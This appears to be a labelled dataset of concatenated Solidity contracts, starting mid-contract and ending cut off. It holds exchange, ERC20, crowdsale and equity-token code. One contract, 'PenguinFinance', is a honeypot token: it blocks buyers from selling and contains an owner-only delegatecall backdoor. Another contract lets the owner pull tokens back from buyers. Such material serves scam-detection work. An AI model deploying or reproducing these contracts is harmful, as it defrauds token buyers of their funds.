uint ex_price = oa.price;
uint exFee = (ex_qty * ex_price) / exFeeRate;
uint amount = (ex_qty * ex_price);
Println(oa.owner, oa.number, oa.price, oa.qty, oa.ex_qty, oa.isClosed,222);
if(members[msg.sender].balances >= amount && oa.price <= od.price){
od.ex_qty += ex_qty;
if(oa.ex_qty+ex_qty>=oa.qty){
token_orderSheet[_token][n32].isClosed = true;
for(uint k=i-1;k<token_match.length-2;k++){
token_match[k]=token_match[k+1];
}
}
token_orderSheet[_token][n32].ex_qty += ex_qty;
members[od.owner].balances += (amount-exFee);
members[od.owner].tx_amount += (amount-exFee);
members[od.owner].tx_qty += ex_qty;
members[msg.sender].balances -= (amount+exFee);
members[msg.sender].tx_amount += (amount+exFee);
members[msg.sender].tx_qty += ex_qty;
if(od.ex_qty+ex_qty>=od.qty){
od.isClosed = true;
}
exFeeTotal += exFee;
}
}
}
}
function withdraw(uint _eth, uint _wei) {
for(uint i=0;i<tokensArray.length-1;i++){
address token = tokensArray[i];
uint32[] storage order = token_member_order[token][msg.sender];
for(uint j=0;j<order.length-1;j++){
cancel( token,order[j]);
}
}
uint balances = members[msg.sender].balances;
uint withdraws = _eth*10**18 + _wei;
require( balances >= withdraws);
require( this.balance >= withdraws);
require(isWithdrawable);
require(members[msg.sender].isWithdraw);
msg.sender.transfer(withdraws);
members[msg.sender].balances -= withdraws;
members[msg.sender].withdraw += withdraws;
}
function get_this_balance() constant returns(uint256 _eth,uint256 _wei){
_eth = this.balance / 10**18 ;
_wei = this.balance - _eth * 10**18 ;
}
function pay() public payable returns (bool) {
require(msg.value > MinimalPayValue);
require(isPayable);
if(admins[msg.sender] == AdminType.widthdraw){
}else{
if(isRequireData){
require(admins[address(msg.data[0])] > AdminType.none);
}
members_push(msg.sender);
members[msg.sender].balances += msg.value;
members[msg.sender].deposit += msg.value;
if(admins[address(msg.data[0])]>AdminType.none){
members[msg.sender].agent = address(msg.data[0]);
}
Paydata(msg.sender, msg.value, msg.data, members[msg.sender].balances);
}
return true;
}
modifier onlyAdmin() {
require(admins[msg.sender] > AdminType.agent);
_;
}
function admin_list() onlyAdmin constant returns(address[] _adminArray){
_adminArray = adminArray;
}
function admin_typeOf(address admin) onlyAdmin constant returns(AdminType adminType){
adminType= admins[admin];
}
function admin_add_modify(address admin, AdminType adminType) onlyAdmin {
require(admins[admin] > AdminType.agent);
if(admins[admin] < AdminType.normal){
adminArray.push(admin);
}
admins[admin]=AdminType(adminType);
}
function admin_del(address admin) onlyAdmin {
require(admin!=msg.sender);
require(admins[admin] > AdminType.agent);
if(admins[admin] > AdminType.none){
admins[admin] = AdminType.none;
for (uint i = 0; i < adminArray.length - 1; i++) {
if (adminArray[i] == admin) {
adminArray[i] = adminArray[adminArray.length - 1];
adminArray.length -= 1;
break;
}
}
}
}
function admin_withdraw(uint _eth, uint _wei) onlyAdmin {
require(admins[msg.sender] > AdminType.admin);
uint256 amount = _eth * 10**18 + _wei;
require(this.balance >= amount);
msg.sender.transfer(amount);
}
function admin_exFeeRate(uint _rate) onlyAdmin {
exFeeRate = _rate;
}
function admin_MinimalPayValue(uint _eth, uint _wei) onlyAdmin {
MinimalPayValue = _eth*10*18 + _wei;
}
function admin_isRequireData(bool _requireData) onlyAdmin{
isRequireData = _requireData;
}
function admin_isPayable(bool _payable) onlyAdmin{
isPayable = _payable;
}
function admin_isWithdrawable(bool _withdrawable) onlyAdmin{
isWithdrawable = _withdrawable;
}
function admin_member_isWithdraw(address _member, bool _withdrawable) onlyAdmin {
if(members[_member].isExists == true) {
members[_member].isWithdraw = _withdrawable;
} else {
Logs("member not existes");
}
}
} | 1 | 3,631 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract PenguinFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,001 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract VestopiaToken is MintableToken {
string public constant name = "Vestopia";
string public constant symbol = "VTP";
uint32 public constant decimals = 18;
}
contract Crowdsale is Ownable {
using SafeMath for uint;
address multisig;
uint restrictedPercent;
address restricted;
VestopiaToken public token = new VestopiaToken();
uint start;
uint period;
uint hardcap;
uint rate;
uint minPrice;
function Crowdsale() public {
minPrice = 100000000000000000;
multisig =0x78e904695cc97248bB18eCfd83d4dd20D73fd619 ;
restricted = 0x78e904695cc97248bB18eCfd83d4dd20D73fd619;
restrictedPercent = 35;
rate = 5000 * (10 ** 18);
start = 1516838400;
period = 60;
hardcap = 7257000000000000000000;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier isUnderHardCap() {
require(multisig.balance <= hardcap);
_;
}
function setMinPrice(uint newMinPrice) public onlyOwner {
minPrice = newMinPrice;
}
function finishMinting() public onlyOwner {
uint issuedTokenSupply = token.totalSupply();
uint restrictedTokens = issuedTokenSupply.mul(restrictedPercent).div(100 - restrictedPercent);
token.mint(restricted, restrictedTokens);
token.finishMinting();
}
function createTokens() isUnderHardCap saleIsOn public payable {
require(msg.value >= minPrice);
multisig.transfer(msg.value);
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = 0;
if(now < start + (period * 1 days).div(4)) {
bonusTokens = tokens.div(10).mul(3);
} else if(now >= start + (period * 1 days).div(4) && now < start + (period * 1 days).div(4).mul(2)) {
bonusTokens = tokens.div(5);
} else if(now >= start + (period * 1 days).div(4).mul(2) && now < start + (period * 1 days).div(4).mul(3)) {
bonusTokens = tokens.div(100).mul(15);
}
tokens += bonusTokens;
token.mint(msg.sender, tokens);
}
function() external payable {
createTokens();
}
} | 1 | 3,135 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface OLdxrpct {
function transfer(address receiver, uint amount) external;
function balanceOf(address _owner) external returns (uint256 balance);
function mint(address wallet, address buyer, uint256 tokenAmount) external;
function showMyTokenBalance(address addr) external;
}
contract Nyomi is ERC20Interface,Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) tokenBalances;
string public constant name = "NyomiToken";
string public constant symbol = "Nyo";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000;
address ownerWallet;
mapping (address => mapping (address => uint256)) allowed;
event Debug(string message, address addr, uint256 number);
function MADToken(address wallet) public {
owner = msg.sender;
ownerWallet=wallet;
totalSupply = INITIAL_SUPPLY * 10 ** 18;
tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(tokenBalances[msg.sender]>=_value);
tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= tokenBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
tokenBalances[_from] = tokenBalances[_from].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupply - tokenBalances[address(0)];
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return tokenBalances[_owner];
}
function mint(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[wallet] >= tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].sub(tokenAmount);
Transfer(wallet, buyer, tokenAmount);
totalSupply=totalSupply.sub(tokenAmount);
}
function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]>=tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].sub(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
totalSupply=totalSupply.add(tokenAmount);
}
function showMyTokenBalance(address addr) public view returns (uint tokenBalance) {
tokenBalance = tokenBalances[addr];
}
} | 1 | 4,872 |
pragma solidity 0.4.25;
contract IAccessPolicy {
function allowed(
address subject,
bytes32 role,
address object,
bytes4 verb
)
public
returns (bool);
}
contract IAccessControlled {
event LogAccessPolicyChanged(
address controller,
IAccessPolicy oldPolicy,
IAccessPolicy newPolicy
);
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public;
function accessPolicy()
public
constant
returns (IAccessPolicy);
}
contract StandardRoles {
bytes32 internal constant ROLE_ACCESS_CONTROLLER = 0xac42f8beb17975ed062dcb80c63e6d203ef1c2c335ced149dc5664cc671cb7da;
}
contract AccessControlled is IAccessControlled, StandardRoles {
IAccessPolicy private _accessPolicy;
modifier only(bytes32 role) {
require(_accessPolicy.allowed(msg.sender, role, this, msg.sig));
_;
}
constructor(IAccessPolicy policy) internal {
require(address(policy) != 0x0);
_accessPolicy = policy;
}
function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController)
public
only(ROLE_ACCESS_CONTROLLER)
{
require(newPolicy.allowed(newAccessController, ROLE_ACCESS_CONTROLLER, this, msg.sig));
IAccessPolicy oldPolicy = _accessPolicy;
_accessPolicy = newPolicy;
emit LogAccessPolicyChanged(msg.sender, oldPolicy, newPolicy);
}
function accessPolicy()
public
constant
returns (IAccessPolicy)
{
return _accessPolicy;
}
}
contract AccessRoles {
bytes32 internal constant ROLE_NEUMARK_ISSUER = 0x921c3afa1f1fff707a785f953a1e197bd28c9c50e300424e015953cbf120c06c;
bytes32 internal constant ROLE_NEUMARK_BURNER = 0x19ce331285f41739cd3362a3ec176edffe014311c0f8075834fdd19d6718e69f;
bytes32 internal constant ROLE_SNAPSHOT_CREATOR = 0x08c1785afc57f933523bc52583a72ce9e19b2241354e04dd86f41f887e3d8174;
bytes32 internal constant ROLE_TRANSFER_ADMIN = 0xb6527e944caca3d151b1f94e49ac5e223142694860743e66164720e034ec9b19;
bytes32 internal constant ROLE_RECLAIMER = 0x0542bbd0c672578966dcc525b30aa16723bb042675554ac5b0362f86b6e97dc5;
bytes32 internal constant ROLE_PLATFORM_OPERATOR_REPRESENTATIVE = 0xb2b321377653f655206f71514ff9f150d0822d062a5abcf220d549e1da7999f0;
bytes32 internal constant ROLE_EURT_DEPOSIT_MANAGER = 0x7c8ecdcba80ce87848d16ad77ef57cc196c208fc95c5638e4a48c681a34d4fe7;
bytes32 internal constant ROLE_IDENTITY_MANAGER = 0x32964e6bc50f2aaab2094a1d311be8bda920fc4fb32b2fb054917bdb153a9e9e;
bytes32 internal constant ROLE_EURT_LEGAL_MANAGER = 0x4eb6b5806954a48eb5659c9e3982d5e75bfb2913f55199877d877f157bcc5a9b;
bytes32 internal constant ROLE_UNIVERSE_MANAGER = 0xe8d8f8f9ea4b19a5a4368dbdace17ad71a69aadeb6250e54c7b4c7b446301738;
bytes32 internal constant ROLE_GAS_EXCHANGE = 0x9fe43636e0675246c99e96d7abf9f858f518b9442c35166d87f0934abef8a969;
bytes32 internal constant ROLE_TOKEN_RATE_ORACLE = 0xa80c3a0c8a5324136e4c806a778583a2a980f378bdd382921b8d28dcfe965585;
}
contract IEthereumForkArbiter {
event LogForkAnnounced(
string name,
string url,
uint256 blockNumber
);
event LogForkSigned(
uint256 blockNumber,
bytes32 blockHash
);
function nextForkName()
public
constant
returns (string);
function nextForkUrl()
public
constant
returns (string);
function nextForkBlockNumber()
public
constant
returns (uint256);
function lastSignedBlockNumber()
public
constant
returns (uint256);
function lastSignedBlockHash()
public
constant
returns (bytes32);
function lastSignedTimestamp()
public
constant
returns (uint256);
}
contract IAgreement {
event LogAgreementAccepted(
address indexed accepter
);
event LogAgreementAmended(
address contractLegalRepresentative,
string agreementUri
);
function amendAgreement(string agreementUri) public;
function currentAgreement()
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
);
function pastAgreement(uint256 amendmentIndex)
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
);
function agreementSignedAtBlock(address signatory)
public
constant
returns (uint256 blockNo);
function amendmentsCount()
public
constant
returns (uint256);
}
contract Agreement is
IAgreement,
AccessControlled,
AccessRoles
{
struct SignedAgreement {
address contractLegalRepresentative;
uint256 signedBlockTimestamp;
string agreementUri;
}
IEthereumForkArbiter private ETHEREUM_FORK_ARBITER;
SignedAgreement[] private _amendments;
mapping(address => uint256) private _signatories;
modifier acceptAgreement(address accepter) {
acceptAgreementInternal(accepter);
_;
}
modifier onlyLegalRepresentative(address legalRepresentative) {
require(mCanAmend(legalRepresentative));
_;
}
constructor(IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter)
AccessControlled(accessPolicy)
internal
{
require(forkArbiter != IEthereumForkArbiter(0x0));
ETHEREUM_FORK_ARBITER = forkArbiter;
}
function amendAgreement(string agreementUri)
public
onlyLegalRepresentative(msg.sender)
{
SignedAgreement memory amendment = SignedAgreement({
contractLegalRepresentative: msg.sender,
signedBlockTimestamp: block.timestamp,
agreementUri: agreementUri
});
_amendments.push(amendment);
emit LogAgreementAmended(msg.sender, agreementUri);
}
function ethereumForkArbiter()
public
constant
returns (IEthereumForkArbiter)
{
return ETHEREUM_FORK_ARBITER;
}
function currentAgreement()
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
)
{
require(_amendments.length > 0);
uint256 last = _amendments.length - 1;
SignedAgreement storage amendment = _amendments[last];
return (
amendment.contractLegalRepresentative,
amendment.signedBlockTimestamp,
amendment.agreementUri,
last
);
}
function pastAgreement(uint256 amendmentIndex)
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
)
{
SignedAgreement storage amendment = _amendments[amendmentIndex];
return (
amendment.contractLegalRepresentative,
amendment.signedBlockTimestamp,
amendment.agreementUri,
amendmentIndex
);
}
function agreementSignedAtBlock(address signatory)
public
constant
returns (uint256 blockNo)
{
return _signatories[signatory];
}
function amendmentsCount()
public
constant
returns (uint256)
{
return _amendments.length;
}
function acceptAgreementInternal(address accepter)
internal
{
if(_signatories[accepter] == 0) {
require(_amendments.length > 0);
_signatories[accepter] = block.number;
emit LogAgreementAccepted(accepter);
}
}
function mCanAmend(address legalRepresentative)
internal
returns (bool)
{
return accessPolicy().allowed(legalRepresentative, ROLE_PLATFORM_OPERATOR_REPRESENTATIVE, this, msg.sig);
}
}
contract ITokenSnapshots {
function totalSupplyAt(uint256 snapshotId)
public
constant
returns(uint256);
function balanceOfAt(address owner, uint256 snapshotId)
public
constant
returns (uint256);
function currentSnapshotId()
public
constant
returns (uint256);
}
contract IClonedTokenParent is ITokenSnapshots {
function parentToken()
public
constant
returns(IClonedTokenParent parent);
function parentSnapshotId()
public
constant
returns(uint256 snapshotId);
}
contract IBasicToken {
event Transfer(
address indexed from,
address indexed to,
uint256 amount
);
function totalSupply()
public
constant
returns (uint256);
function balanceOf(address owner)
public
constant
returns (uint256 balance);
function transfer(address to, uint256 amount)
public
returns (bool success);
}
contract IERC20Allowance {
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
function allowance(address owner, address spender)
public
constant
returns (uint256 remaining);
function approve(address spender, uint256 amount)
public
returns (bool success);
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success);
}
contract IERC20Token is IBasicToken, IERC20Allowance {
}
contract ITokenMetadata {
function symbol()
public
constant
returns (string);
function name()
public
constant
returns (string);
function decimals()
public
constant
returns (uint8);
}
contract IERC223Token is IERC20Token, ITokenMetadata {
function transfer(address to, uint256 amount, bytes data)
public
returns (bool);
}
contract IERC677Allowance is IERC20Allowance {
function approveAndCall(address spender, uint256 amount, bytes extraData)
public
returns (bool success);
}
contract IERC677Token is IERC20Token, IERC677Allowance {
}
contract ITokenControllerHook {
event LogChangeTokenController(
address oldController,
address newController,
address by
);
function changeTokenController(address newController)
public;
function tokenController()
public
constant
returns (address currentController);
}
contract IETOCommitmentStates {
enum ETOState {
Setup,
Whitelist,
Public,
Signing,
Claim,
Payout,
Refund
}
uint256 constant internal ETO_STATES_COUNT = 7;
}
contract IETOCommitmentObserver is IETOCommitmentStates {
function commitmentObserver() public constant returns (address);
function onStateTransition(ETOState oldState, ETOState newState) public;
}
contract IERC223Callback {
function tokenFallback(address from, uint256 amount, bytes data)
public;
}
contract ITokenController {
function onTransfer(address broker, address from, address to, uint256 amount)
public
constant
returns (bool allow);
function onApprove(address owner, address spender, uint256 amount)
public
constant
returns (bool allow);
function onGenerateTokens(address sender, address owner, uint256 amount)
public
constant
returns (bool allow);
function onDestroyTokens(address sender, address owner, uint256 amount)
public
constant
returns (bool allow);
function onChangeTokenController(address sender, address newController)
public
constant
returns (bool);
function onAllowance(address owner, address spender)
public
constant
returns (uint256 allowanceOverride);
}
contract IEquityTokenController is
IAgreement,
ITokenController,
IETOCommitmentObserver,
IERC223Callback
{
function onChangeNominee(address sender, address oldNominee, address newNominee)
public
constant
returns (bool);
}
contract IEquityToken is
IAgreement,
IClonedTokenParent,
IERC223Token,
ITokenControllerHook
{
function tokensPerShare() public constant returns (uint256);
function sharesTotalSupply() public constant returns (uint256);
function shareNominalValueEurUlps() public constant returns (uint256);
function companyLegalRepresentative() public constant returns (address);
function nominee() public constant returns (address);
function changeNominee(address newNominee) public;
function issueTokens(uint256 amount) public;
function distributeTokens(address to, uint256 amount) public;
function destroyTokens(uint256 amount) public;
}
contract IdentityRecord {
struct IdentityClaims {
bool isVerified;
bool isSophisticatedInvestor;
bool hasBankAccount;
bool accountFrozen;
}
